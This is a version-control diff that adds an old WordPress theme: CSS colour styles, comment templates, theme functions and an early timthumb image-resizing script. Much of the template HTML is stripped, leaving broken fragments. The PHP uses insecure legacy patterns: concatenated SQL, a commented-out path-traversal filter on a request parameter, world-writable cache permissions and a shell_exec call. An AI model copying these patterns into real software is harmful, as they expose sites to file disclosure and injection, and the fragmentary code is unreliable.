no-repeat;} + ul.sub-menu li{background: #fff;} + ul.sub-menu li a{border-bottom: 1px dotted #ccc;} + .sub-menu-footer{background: url(submenu-footer.png) bottom no-repeat;} + +/*-------------------------------------------------------------------------------------------*/ +/*- ROUNDED CORNERS - Before we do anything, let's set the rounded corners ------------------*/ +/*-------------------------------------------------------------------------------------------*/ + +/*- ------------------------------------------------------------------------------------------- + NOTE: There are two color references in the div description + The first is the containers background color + "LIGHT" refers to the light containing div (eg. the copy containers) + "DARK" refers to the darker containing div (eg. side-bar containers) + The second reference is the background that the container sits it + "NORMAL" refers to the body background color + "DARK" refers to the darker containing div background color (eg. the 'feature post' container) +------------------------------------------------------------------------------------------ -*/ +.container-light{background: #e0e0e0;} +.container-dark{background: #111;} + +/*- LIGHT -*/ +.container-header-light-dark{background: url(rounded-corners-light-dark.png) 100% 0;} +.container-header-light-dark span{background: url(rounded-corners-light-dark.png) 0 0;} +.container-footer-light-dark{background: url(rounded-corners-light-dark.png) 0 100%;} +.container-footer-light-dark span{background: url(rounded-corners-light-dark.png) 100% 100%;} + +.container-header-light-normal{background: url(rounded-corners-light-normal.png) 100% 0;} +.container-header-light-normal span{background: url(rounded-corners-light-normal.png) 0 0;} +.container-footer-light-normal{background: url(rounded-corners-light-normal.png) 0 100%;} +.container-footer-light-normal span{background: url(rounded-corners-light-normal.png) 100% 100%;} + +/*- DARK -*/ +.container-header-dark-dark{background: url(rounded-corners-dark-dark.png) 100% 0;} +.container-header-dark-dark span{background: url(rounded-corners-dark-dark.png) 0 0;} +.container-footer-dark-dark{background: url(rounded-corners-dark-dark.png) 0 100%;} +.container-footer-dark-dark span{background: url(rounded-corners-dark-dark.png) 100% 100%;} + +.container-header-dark-normal{background: url(rounded-corners-dark-normal.png) 100% 0;} +.container-header-dark-normal span{background: url(rounded-corners-dark-normal.png) 0 0;} +.container-footer-dark-normal{background: url(rounded-corners-dark-normal.png) 0 100%;} +.container-footer-dark-normal span{background: url(rounded-corners-dark-normal.png) 100% 100%;} + + +/*-------------------------------------------------------------------------------------------*/ +/*- HOME PAGE LAYOUT ------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ + + /*--------------------------------------------------------*/ + /*- FEATURE POSTS ----------------------------------------*/ + .selected-feature{} + .selected-feature .feature-title{background: url(title-swish-bg.png) bottom left no-repeat;} + .selected-feature h4{color: #fff;} + .selected-feature h2 a{color: #111;} + .selected-feature h2 a:hover{color: #fff;} + + ul.feature-list li span.item{color: #fff; background: url(feature-list-number-bg.png) top left no-repeat;} + ul.feature-list li h4{color: #fff;} + ul.feature-list li a{color: #111;} + ul.feature-list li a:hover{color: #fff;} + + + /*-------------------------------------------------------------*/ + /*- THE FEATURE CONTAINER DIV IS ALSO USED FOR PAGE TITLES ----*/ + #feature-post h1{color: #000;} + #feature-post .post h2.title a:hover{color: #fff;} + #feature-post .post h4{color: #fff;} + + + /*--------------------------------------------------------*/ + /*- POST SLIDER ------------------------------------------*/ + .post-slider ul li .content{background: #fff;} + .post-slider ul li h3{background: url(slider-lip.png) 15px 0px no-repeat;} + .post-slider ul li h3 a{color: #FF3333;} + .post-slider ul li h3 a:hover{color: #111;} + + + /*--------------------------------------------------------*/ + /*- PAGINATION -------------------------------------------*/ + ul.page_button_content li a{background: url(pagination.png) no-repeat;} + ul.page_button_content li a.selected-page{color: #fff;} + + +/*-------------------------------------------------------------------------------------------*/ +/*- POSTS CLASSES ---------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ +/*- RESET SOME CLASSES FOR THE COPY AFTER CLEARING EVERYTHING AT THE TOP OF THE CSS -*/ +.post .copy a{color: #FF3333;} + .post .copy a:hover{color: #000;} +.post .copy ol, .post .copy ul{color: #555;} + +.post{} + .post-title{background: url(title-swish-bg.png) bottom left no-repeat;} + + .post h2.title a{color: #111;} + .post h2.title a:hover{color: #ff3333;} + .post h4.date{color: #c00;} + + .post .copy{background: #e0e0e0;} + .post .copy a.action-link{background: url(action-bg.png) left top no-repeat;} + .post .copy a.action-link span{background: url(action-bg.png) top right no-repeat; color: #111;} + .post .copy a.action-link:hover span{color: #111;} + .post a.post-comments:hover{color: #111;} + +.post-section-title{border-bottom: 1px dotted #E4EFF1;} + +/*-------------------------------------------------------------------------------------------*/ +/*- PROMOTE POST ----------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ +.enjoy-copy{color: #575757;} + + +/*-------------------------------------------------------------------------------------------*/ +/*- COMMENTS --------------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ +.comment h3{color: #111; border-bottom: 1px dotted #ccc;} + .comment h3 a{color: #111;} + .comment h3 a:hover{color: #FF3333;} + .comment h3 .comment-date{color: #777;} + + .user{background: url(comment-lip.png) top right no-repeat;} + .user img{background: url(avatar-bg.png) bottom no-repeat;} + .user a.reply-link{color: #111; background: url(reply-button.png) top no-repeat;} + + .comment-content{background: #e0e0e0;} + + +/*-------------------------------------------------------------------------------------------*/ +/*- POST A COMMENT --------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ + .comment-form-content .comment_form label{color: #FF3333;} + + .comment-input{background: url(comment-input-bg.png) no-repeat;} + .comment-input input{color: #ccc;} + + .checkbox{color: #FF3333;} + + .comment-texarea{background: url(comment-message-bg.png) no-repeat;} + .comment-texarea textarea{color: #ccc; background: none;} + + +/*-------------------------------------------------------------------------------------------*/ +/*- ARCHIVES --------------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ +a.archive-date{color: #fff;} + a.archive-date:hover{color: #c00;} + + +/*-------------------------------------------------------------------------------------------*/ +/*- SIDE BAR --------------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ +#sidebar h2, #sidebar h2 a{color: #FF3333;} + +#sidebar ul li.widget{color: #999;} + #sidebar ul li ul li{border-bottom: 1px dotted #444; color: #999;} + #sidebar ul li a{color: #fff;} + #sidebar ul li a:hover{color: #FFC4C4;} + + /*--------------------------------------------*/ + /*- SPECIFIC SIDE BAR STYLE ------------------*/ + #sidebar ul li.flickr, #sidebar ul li.recent-comments, #sidebar ul li.sponsors{} + #sidebar ul li.recent-comments h2, #sidebar ul li.flickr h2{color: #111;} + + + /*--------------------------------------------*/ + /*- SPONSORS ---------------------------------*/ + #sidebar .advert{background: url(small-advert-bg.png);} + + + /*--------------------------------------------*/ + /*- DETAILED LISTING IN SIDE BAR -------------*/ + #sidebar ul li.recent-comments h2.recent-comments-title{color: #111;} + #sidebar ul li.recent-comments ul li{border-bottom: 1px dotted #333;} + #sidebar ul li.recent-comments ul li a.detail-image{background: url(avatar-bg.png) top no-repeat;} + #sidebar ul li.recent-comments ul li a.detail-image:hover{background: url(avatar-bg.png) bottom no-repeat;} + + #sidebar ul li.recent-comments ul li a.detail-link{color: #ccc;} + #sidebar ul li.recent-comments ul li a.detail-link span.date{color: #FF3333;} + #sidebar ul li.recent-comments ul li a.detail-link:hover{color: #FFC4C4;} + + +/*-------------------------------------------------------------------------------------------*/ +/*- FOOTER ----------------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ + ul.footer-columns h3{color: #FF3333;} + ul.footer-columns p{color: #555;} + + ul.footer-columns ul li{color: #999; border-bottom: 1px dotted #555;} + ul.footer-columns a{color: #999;} + ul.footer-columns a:hover{color: #FFC4C4;} + + p.copyright{color: #E4EFF1;} + p.copyright a{color: #fff;} + p.copyright a:hover{color: #111;} + a.obox-logo{background: url(obox-logo.png) bottom;} + a.obox-logo:hover{background: url(obox-logo.png) top;} + + +/*-------------------------------------------------------------------------------------------*/ +/*- SOME STANDARD WORDPRESS PLUGIN/WIDGET STYLES --------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ + + /*--------------------------------------------*/ + /*- FLICKR -----------------------------------*/ + #flickr_badge_wrapper .flickr_badge_image a{background: url(flickr-bg.png) top no-repeat;} + + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/white-rose/submenu-footer.png Binary file web/wp-content/themes/selecta/color-styles/white-rose/submenu-footer.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/white-rose/submenu-header.png Binary file web/wp-content/themes/selecta/color-styles/white-rose/submenu-header.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/white-rose/submit-comment.png Binary file web/wp-content/themes/selecta/color-styles/white-rose/submit-comment.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/white-rose/title-swish-bg.png Binary file web/wp-content/themes/selecta/color-styles/white-rose/title-swish-bg.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/comments.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/selecta/comments.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,151 @@ + +

    comment_count; ?> Comments

    + comment_parent == 0) : + $comment_table = $wpdb->prefix . "ocmx_comment_meta"; + $comment_meta_sql = "SELECT * FROM $comment_table WHERE commentId = ".$comment->comment_ID." LIMIT 1"; + $comment_meta = $wpdb->get_row($comment_meta_sql); + $comment_type = get_comment_type(); + ?> +
    + +
    + + Reply + +
    + +
    +
    +
    +

    + comment_approved == '0') : ?> +

    Comment is awaiting moderation.

    + +
    + +
    + comment_ID; + if($comment_type == "comment") : + fetch_comments($comment_id, $i); + endif; + ?> + +
    + + + +
    +
    + comment_status) : ?> +
    + +

    You must be logged in to post a comment.

    + +
    +

    Leave A Comment

    +

    Posting your comment...

    +
    + +
    Logged in as . + Logout »
    + + + +
    " size="32" tabindex="1" />
    + +
    " size="32" tabindex="2" />
    + +
    " size="32" tabindex="3" />
    + + +
    " size="32" tabindex="3" />
    + +
    +
    + + Subscribe to these comment via email +
    + + + + + ID); ?> +
    +
    + +
    + +
    + + comments WHERE comment_parent = ".$comment_id; + $child_comments = $wpdb->get_results($sql); + $thread_count = 0; + if(count($child_comments) !== 0) : + $thread_count++ + ?> +
    + comment_ID); + $comment_table = $wpdb->prefix . "ocmx_comment_meta"; + $sub_comment_meta_sql = "SELECT * FROM $comment_table WHERE commentId = ".$sub_comment->comment_ID." LIMIT 1"; + $sub_comment_meta = $wpdb->get_row($sub_comment_meta_sql); + ?> +
    +
    + +
    +
    +
    +
    +

    + comment_author_url !== "http://" && $sub_comment->comment_author_url !== "") : ?> + comment_author; ?> + + comment_author; ?> + + twitter !== "") : ?> + comment_date)); ?> comment_date)); ?> +

    + comment_approved == '0') : ?> +

    Comment is awaiting moderation.

    + comment_content); + $use_comment = str_replace("\n", "
    ", $use_comment); + echo "

    ".$use_comment."

    "; + endif; ?> +
    + +
    +
    + +
    + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/footer.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/selecta/footer.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,44 @@ +
    + + +
    + + + + + + + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/functions.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/selecta/functions.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,242 @@ + "attachment", "post_parent" => $use_id); + $attachments = get_posts($attach_args); + $attach_id = $attachments[0]->ID; + return wp_get_attachment_image($attach_id, array($width, $height)); + } +function ocmx_pagination() + { + global $wp_query; + $request = $wp_query->request; + $numposts = $wp_query->found_posts; + if((get_option("ocmx_home_page_posts") && $numposts !== 0) && $numposts > get_option("ocmx_home_page_posts")) : +?> +
    + +
    +get_results("SELECT $wpdb->term_relationships.*, $wpdb->terms.* FROM $wpdb->terms INNER JOIN $wpdb->term_relationships ON $wpdb->term_relationships.term_taxonomy_id = $wpdb->terms.term_id WHERE $wpdb->term_relationships.object_id = ".$post_id); + foreach($tags as $posttag) : + if(!isset($tag_list)) : + $tag_list = $posttag->name; + else : + $tag_list .= ", ".$posttag->name; + endif; + endforeach; + return $tag_list; + } + // VARIABLES +global $themename, $input_prefix; +$themename = "Selecta"; +$input_prefix = "ocmx_"; + +$template_path = get_bloginfo('template_directory'); +$functions_path = TEMPLATEPATH . '/functions/'; + +//CREATE THEME OPTIONS + +include_once (TEMPLATEPATH."/ocmx/custom.php"); +include_once (TEMPLATEPATH."/ocmx/ocmx-setup.php"); +include_once (TEMPLATEPATH."/ocmx/ocmx-create-options.php"); +include_once (TEMPLATEPATH."/ocmx/ocmx-functions.php"); +include_once (TEMPLATEPATH."/ocmx/ocmx-install-options.php"); +include_once (TEMPLATEPATH."/ocmx/ocmx-general-options.php"); +include_once (TEMPLATEPATH."/ocmx/ocmx-advert-options.php"); +include_once (TEMPLATEPATH."/ocmx/ocmx-comment-options.php"); +include_once (TEMPLATEPATH."/ocmx/ocmx-widgets.php"); + +function ocmx_add_admin() { + global $wpdb; + + add_menu_page("OCMX Options", "OCMX Options", 'edit_themes', basename(__FILE__), ''); + $comment_table = $wpdb->prefix ."ocmx_comment_meta"; + $gallery_hdr_table = $wpdb->prefix . "ocmx_gallery"; + if(check_table_existance($comment_table)) : + add_submenu_page(basename(__FILE__), "General Options", "General & Layout", 8, basename(__FILE__), 'ocmx_general_options'); + add_submenu_page(basename(__FILE__), "Adverts", "Adverts", 8, "ocmx-adverts", 'ocmx_advert_options'); + add_submenu_page(basename(__FILE__), "Comments", "Comments", 8, "ocmx-comments", 'ocmx_comment_options'); + else : + add_option("white-red"); + add_submenu_page(basename(__FILE__), "Install Options", "Install", 8, basename(__FILE__), 'ocmx_install_options'); + endif; +}; +// Add the Custom Functions to Wordpress +if($_GET["install_ocmx"]) : + add_action('init', 'install_ocmx'); +endif; +if(isset($_GET["use_colour"])) : + add_action('init', 'ocmx_set_colour'); +endif; + +add_action('admin_menu', 'ocmx_add_admin'); +add_action('comment_post', create_function('$a', 'ocmx_commentmeta_update($a);')); + +if(!get_option("ocmx_theme_style")) : + add_option("ocmx_theme_style", "blue"); +endif; + +// Create Dynamic Sidebars +if (function_exists('register_sidebar')) : + register_sidebar(array("name" => "Header Panel")); + register_sidebar(array("name" => "Index Header Panel")); + register_sidebar(array("name" => "Advert Sidebar")); + + register_sidebar( + array( + "name" => "Sidebar", + "before_widget" => " +
  • +
    +
    ", + "before_title" => " +

    ", + "after_title" => " +

    +
      ", + "after_widget" => " +
    +
    + +
  • " + ) + ); + register_sidebar(array("name" => "Footer Left", "before_title" => "

    ", "after_title" => "

    ", "before_widget" => "
    • ", "after_widget" => "
    ")); + register_sidebar(array("name" => "Footer Middle", "before_title" => "

    ", "after_title" => "

    ", "before_widget" => "
    • ", "after_widget" => "
    ")); + register_sidebar(array("name" => "Footer Right", "before_title" => "

    ", "after_title" => "

    ", "before_widget" => "
    • ", "after_widget" => "
    ")); +endif; +// Widgets +function ocmx_page_menu() + { + if(get_option("ocmx_page_order") !== "post_title") : + $page_args = array("sort_column" => get_option("ocmx_page_order"), "sort_order" => get_option("ocmx_page_updown"), "depth" => "1"); + else : + $page_args = array("sort_order" => get_option("ocmx_page_updown"), "depth" => "1"); + endif; + $fetch_pages = get_pages($page_args); + foreach ($fetch_pages as $this_page) : + $this_option = "ocmx_menu_page_".$this_page->ID; + if(get_option($this_option)) : + $sub_page_count = 0; + if(get_option("ocmx_page_order") !== "post_title") : + $sub_page_defaults = array("child_of" => $this_page->ID, "sort_column" => get_option("ocmx_page_order"), "sort_order" => get_option("ocmx_page_updown")); + else : + $sub_page_defaults = array("child_of" => $this_page->ID, "sort_order" => get_option("ocmx_page_updown")); + endif; + $sub_pages = get_pages($sub_page_defaults); + foreach ($sub_pages as $sub_page) : + $this_sub_page_option = "ocmx_subpage_".$sub_page->ID; + if(get_option($this_sub_page_option)) : + $sub_page_count++; + endif; + endforeach; +?> +
  • + post_title; ?> + + + +
  • + "post", "child_of" => 0, "orderby" => get_option("ocmx_category_order"), "order" => get_option("ocmx_category_updown"), "hide_empty" => false); + $parent_categories = get_categories($defaults); + // Count the Parent Categories (That is Categories without Parents themselves (To be used in the loop, explained below) + foreach ($parent_categories as $this_category) : + $this_option = "ocmx_maincategory_".$this_category->cat_ID; + if(get_option($this_option)) : + $sub_category_count = 0; + $sub_category_defaults = array('type' => 'post', 'child_of' => $this_category->cat_ID, 'orderby' => 'name', 'order' => 'ASC', 'hide_empty' => false); + $sub_categories = get_categories($sub_category_defaults); + // Below will loop through the sub categories and populate the sub_category_count if there is an option selected for the category + foreach ($sub_categories as $sub_category) : + $this_sub_option = "ocmx_subcategory_".$sub_category->cat_ID; + if(get_option($this_sub_option)) : + $sub_category_count++; + endif; + endforeach; ?> +
  • + + + cat_name; ?> + + + + + +
  • + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/functions/cache/Thumbs.db Binary file web/wp-content/themes/selecta/functions/cache/Thumbs.db has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/functions/custom.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/selecta/functions/custom.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,84 @@ + array ( + "name" => "video_thumbnail", + "default" => "", + "label" => "Video Thumbnail url", + "desc" => "Add an image using the Add Button button above the WYSIWYG, and paste url here.", + "input_type" => "textarea" + ), + "video" => array ( + "name" => "main_video", + "default" => "", + "label" => "Video Object", + "desc" => "Insert your video's embed code here.", + "input_type" => "textarea" + ), + "media" => array ( + "name" => "other_media", + "default" => "", + "label" => "Image url", + "desc" => "Add an image using the Add Button button above the WYSIWYG, and paste url here.", + "input_type" => "textarea" + ) + ); + +function create_meta_box_ui() { + global $post, $obox_metaboxes; + $meta_count = 0; + foreach ($obox_metaboxes as $obox_custom_metabox) { + $meta_count = ($meta_count + 1); + $obox_metabox_value = get_post_meta($post->ID,$obox_custom_metabox["name"],true); + + if ($obox_metabox_value == "" || !isset($obox_metabox_value)) { + $obox_metabox_value = $obox_custom_metabox['default']; + } + if($meta_count > 1) : +?> +
    + + + + + + + + + + + + + + + + +
    " id="" value="" size="" />

    + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/functions/ocmx_comment_post.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/selecta/functions/ocmx_comment_post.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,187 @@ +get_row( $wpdb->prepare("SELECT post_status, comment_status FROM $wpdb->posts WHERE ID = %d", $comment_post_ID) ); +if ( empty($status->comment_status) ) : +?> +
    +
    +
    +
    +

    Comment I.D. not found.

    +
    +
    +
    + + +
    +
    +
    +
    +

    Sorry, comments are closed for this item.

    +
    +
    +
    + +post_status, array('draft', 'pending') ) ) : +?> +
    +
    +
    +
    +

    Comment on Draft

    +
    +
    +
    + +prefix . "ocmx_comment_meta"; + +$check_blocked = $wpdb->get_row( $wpdb->prepare("SELECT $wpdb->comments.*, $comment_meta_table.* FROM $wpdb->comments INNER JOIN $comment_meta_table ON $wpdb->comments.comment_ID = $comment_meta_table.commentId WHERE $wpdb->comments.comment_author_email = %s AND $comment_meta_table.block_user = 1", $comment_author_email) ); + +if(count($check_blocked) !== 0) : +?> +
    +
    +
    +
    +

    Your email address has been blocked from commenting on this blog.

    +
    +
    +
    + +ID ) { + if ( empty( $user->display_name ) ) + $user->display_name=$user->user_login; + $comment_author = $wpdb->escape($user->display_name); + $comment_author_email = $wpdb->escape($user->user_email); + $comment_author_url = $wpdb->escape($user->user_url); + if ( current_user_can('unfiltered_html') ) { + if ( wp_create_nonce('unfiltered-html-comment_' . $comment_post_ID) != $_POST['_wp_unfiltered_html_comment'] ) { + kses_remove_filters(); // start with a clean slate + kses_init_filters(); // set up the filters + } + } +} else { + if ( get_option('comment_registration') ) + wp_die( __('Sorry, you must be logged in to post a comment.') ); +} + +$comment_type = ''; + +if ( get_option('require_name_email') && !$user->ID ) { + if ( 6 > strlen($comment_author_email) || '' == $comment_author ) + wp_die( __('Error: please fill the required fields (name, email).') ); + elseif ( !is_email($comment_author_email)) + wp_die( __('Error: please enter a valid email address.') ); +} + +if ( '' == $comment_content ) + wp_die( __('Error: please type a comment.') ); + +$comment_parent = isset($_POST['comment_parent']) ? absint($_POST['comment_parent']) : 0; + +$commentdata = compact('comment_post_ID', 'comment_author', 'comment_author_email', 'comment_author_url', 'comment_content', 'comment_type', 'comment_parent', 'user_ID'); + +$comment_id = wp_new_comment( $commentdata ); +/* $ocmx_add_comment_meta($comment_id, $comment_post_ID) */ + +$comment = get_comment($comment_id); +if ( !$user->ID ) { + setcookie('comment_author_' . COOKIEHASH, $comment->comment_author, time() + 30000000, COOKIEPATH, COOKIE_DOMAIN); + setcookie('comment_author_email_' . COOKIEHASH, $comment->comment_author_email, time() + 30000000, COOKIEPATH, COOKIE_DOMAIN); + setcookie('comment_author_url_' . COOKIEHASH, clean_url($comment->comment_author_url), time() + 30000000, COOKIEPATH, COOKIE_DOMAIN); +} +// Adjust the classes according to whether or not we're replying to another comment +global $header_class, $main_class, $footer_class; +$comment_table = $wpdb->prefix . "ocmx_comment_meta"; +$comment_meta_sql = "SELECT * FROM $comment_table WHERE commentId = ".$comment->comment_ID." LIMIT 1"; +$comment_count = $wpdb->get_row( $wpdb->prepare("SELECT comment_count FROM $wpdb->posts WHERE ID = %d", $comment_post_ID) ); +$comment_meta = $wpdb->get_row($comment_meta_sql); + +?> + +
    +
    + + +

    comment_count; ?> Comments

    + +
    + + +
    +
    + +
    +
    +
    +
    +

    + comment_author_url !== "http://" && $comment->comment_author_url !== "") : ?> + comment_author; ?> + + comment_author; ?> + + twitter !== "") : ?> + comment_date)); ?> comment_date)); ?> +

    + comment_approved == '0') : ?> +

    Comment is awaiting moderation.

    + comment_content); + $use_comment = str_replace("\n", "
    ", $use_comment); + echo "

    ".$use_comment."

    "; + endif; ?> +
    + +
    +
    + +
    +
    + +
    + + + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/functions/timthumb.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/selecta/functions/timthumb.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,393 @@ + + +error_reporting(E_ALL); + +if(!isset($_REQUEST["src"])) { + die("no image specified"); +} + +// clean params before use +$src = clean_source( $_REQUEST[ "src" ] ); + +// set document root +$doc_root = get_document_root($src); + +// get path to image on file system +$src = $doc_root . '/' . $src; + +$new_width = preg_replace( "/[^0-9]+/", "", get_request( 'w', 100 ) ); +$new_height = preg_replace( "/[^0-9]+/", "", get_request( 'h', 100 ) ); +$zoom_crop = preg_replace( "/[^0-9]+/", "", get_request( 'zc', 1 ) ); +$quality = preg_replace( "/[^0-9]+/", "", get_request( '9', 80 ) ); + +// set path to cache directory (default is ./cache) +// this can be changed to a different location +$cache_dir = './cache'; + +// get mime type of src +$mime_type = mime_type($src); + +// check to see if this image is in the cache already +//check_cache($cache_dir, $mime_type); + +// make sure that the src is gif/jpg/png +if(!valid_src_mime_type($mime_type)) { + die("Invalid src mime type: $mime_type"); +} + +// check to see if GD function exist +if(!function_exists('imagecreatetruecolor')) { + die("GD Library Error: imagecreatetruecolor does not exist"); +} + +if(strlen($src) && file_exists($src)) { + + // open the existing image + $image = open_image($mime_type, $src); + if($image === false) { + die('Unable to open image : ' . $src); + } + + // Get original width and height + $width = imagesx($image); + $height = imagesy($image); + + // don't allow new width or height to be greater than the original + if( $new_width > $width ) { + $new_width = $width; + } + if( $new_height > $height ) { + $new_height = $height; + } + + // generate new w/h if not provided + if( $new_width && !$new_height ) { + + $new_height = $height * ( $new_width / $width ); + + } elseif($new_height && !$new_width) { + + $new_width = $width * ( $new_height / $height ); + + } elseif(!$new_width && !$new_height) { + + $new_width = $width; + $new_height = $height; + + } + + // create a new true color image + $canvas = imagecreatetruecolor( $new_width, $new_height ); + + if( $zoom_crop ) { + + $src_x = $src_y = 0; + $src_w = $width; + $src_h = $height; + + $cmp_x = $width / $new_width; + $cmp_y = $height / $new_height; + + // calculate x or y coordinate and width or height of source + + if ( $cmp_x > $cmp_y ) { + + $src_w = round( ( $width / $cmp_x * $cmp_y ) ); + $src_x = round( ( $width - ( $width / $cmp_x * $cmp_y ) ) / 2 ); + + } elseif ( $cmp_y > $cmp_x ) { + + $src_h = round( ( $height / $cmp_y * $cmp_x ) ); + $src_y = round( ( $height - ( $height / $cmp_y * $cmp_x ) ) / 2 ); + + } + + imagecopyresampled( $canvas, $image, 0, 0, $src_x, $src_y, $new_width, $new_height, $src_w, $src_h ); + + } else { + + // copy and resize part of an image with resampling + imagecopyresampled( $canvas, $image, 0, 0, 0, 0, $new_width, $new_height, $width, $height ); + + } + + // output image to browser based on mime type + show_image( $mime_type, $canvas, $quality, $cache_dir ); + + // remove image from memory + imagedestroy( $canvas ); + +} else { + + if(strlen($src)) { + die($src . ' not found.'); + } else { + die('no source specified.'); + } + +} + +function show_image( $mime_type, $image_resized, $quality, $cache_dir ) { + + // check to see if we can write to the cache directory + $is_writable = 0; + $cache_file_name = $cache_dir . '/' . get_cache_file(); + + if(touch($cache_file_name)) { + + // give 666 permissions so that the developer + // can overwrite web server user + chmod($cache_file_name, 0666); + $is_writable = 1; + + } else { + + $cache_file_name = NULL; + header('Content-type: ' . $mime_type); + + } + + if(stristr($mime_type, 'gif')) { + + imagegif($image_resized, $cache_file_name); + + } elseif(stristr($mime_type, 'jpeg')) { + + imagejpeg($image_resized, $cache_file_name, $quality); + + } elseif(stristr($mime_type, 'png')) { + + $quality = floor($quality * 0.09); + imagepng($image_resized, $cache_file_name, $quality); + + } + + if($is_writable) { + show_cache_file( $cache_dir, $mime_type ); + } + + die(); + +} + +function get_request( $property, $default = 0 ) { + + if( isset($_REQUEST[$property]) ) { + return $_REQUEST[$property]; + } else { + return $default; + } + +} + +function open_image($mime_type, $src) { + + if(stristr($mime_type, 'gif')) { + + $image = imagecreatefromgif($src); + + } elseif(stristr($mime_type, 'jpeg')) { + + @ini_set('gd.jpeg_ignore_warning', 1); + $image = imagecreatefromjpeg($src); + + } elseif( stristr($mime_type, 'png')) { + + $image = imagecreatefrompng($src); + + } + + return $image; + +} + +function mime_type($file) { + + $os = strtolower(php_uname()); + $mime_type = ''; + + // use PECL fileinfo to determine mime type + if( function_exists('finfo_open')) { + $finfo = finfo_open(FILEINFO_MIME); + $mime_type = finfo_file($finfo, $file); + finfo_close($finfo); + } + + // try to determine mime type by using unix file command + // this should not be executed on windows + if(!valid_src_mime_type($mime_type) && !(eregi('windows', $os))) { + if(preg_match("/freebsd|linux/", $os)) { + $mime_type = trim(@shell_exec('file -bi $file')); + } + } + + // use file's extension to determine mime type + if(!valid_src_mime_type($mime_type)) { + + // set defaults + $mime_type = 'image/jpeg'; + // file details + $fileDetails = pathinfo($file); + $ext = strtolower($fileDetails["extension"]); + // mime types + $types = array( + 'jpg' => 'image/jpeg', + 'jpeg' => 'image/jpeg', + 'png' => 'image/png', + 'gif' => 'image/gif' + ); + + if(strlen($ext) && strlen($types[$ext])) { + $mime_type = $types[$ext]; + } + + } + + return $mime_type; + +} + +function valid_src_mime_type($mime_type) { + + if(preg_match("/jpg|jpeg|gif|png/i", $mime_type)) { + return true; + } + return false; + +} + +function check_cache($cache_dir, $mime_type) { + + // make sure cache dir exists + if(!file_exists($cache_dir)) { + // give 777 permissions so that developer can overwrite + // files created by web server user + mkdir($cache_dir); + chmod($cache_dir, 0777); + } + + show_cache_file($cache_dir, $mime_type); + +} + +function show_cache_file($cache_dir, $mime_type) { + + $cache_file = $cache_dir . '/' . get_cache_file(); + + if( file_exists( $cache_file ) ) { + + if( isset( $_SERVER[ "HTTP_IF_MODIFIED_SINCE" ] ) ) { + + // check for updates + $if_modified_since = preg_replace( '/;.*$/', '', $_SERVER[ "HTTP_IF_MODIFIED_SINCE" ] ); + $gmdate_mod = gmdate( 'D, d M Y H:i:s', filemtime( $cache_file ) ); + + if( strstr( $gmdate_mod, 'GMT' ) ) { + $gmdate_mod .= " GMT"; + } + + if ( $if_modified_since == $gmdate_mod ) { + header( "HTTP/1.1 304 Not Modified" ); + exit; + } + + } + + $fileSize = filesize($cache_file); + + // send headers then display image + header("Content-Type: " . $mime_type); + //header("Accept-Ranges: bytes"); + header("Last-Modified: " . gmdate('D, d M Y H:i:s', filemtime($cache_file)) . " GMT"); + header("Content-Length: " . $fileSize); + header("Cache-Control: max-age=9999, must-revalidate"); + header("Expires: " . gmdate("D, d M Y H:i:s", time() + 9999) . "GMT"); + + readfile($cache_file); + + die(); + + } + +} + +function get_cache_file () { + + global $quality; + + static $cache_file; + if(!$cache_file) { + $frags = split( "\.", $_REQUEST['src'] ); + $ext = strtolower( $frags[ count( $frags ) - 1 ] ); + if(!valid_extension($ext)) { $ext = 'jpg'; } + $cachename = get_request( 'src', 'timthumb' ) . get_request( 'w', 100 ) . get_request( 'h', 100 ) . get_request( 'zc', 1 ) . get_request( '9', 80 ); + $cache_file = md5( $cachename ) . '.' . $ext; + } + return $cache_file; + +} + +function valid_extension ($ext) { + + if( preg_match( "/jpg|jpeg|png|gif/i", $ext ) ) return 1; + return 0; + +} + +function clean_source ( $src ) { + + // remove http/ https/ ftp + $src = preg_replace("/^((ht|f)tp(s|):\/\/)/i", "", $src); + // remove domain name from the source url + $host = $_SERVER["HTTP_HOST"]; + $src = str_replace($host, "", $src); + $host = str_replace("www.", "", $host); + $src = str_replace($host, "", $src); + + //$src = preg_replace( "/(?:^\/+|\.{2,}\/+?)/", "", $src ); + //$src = 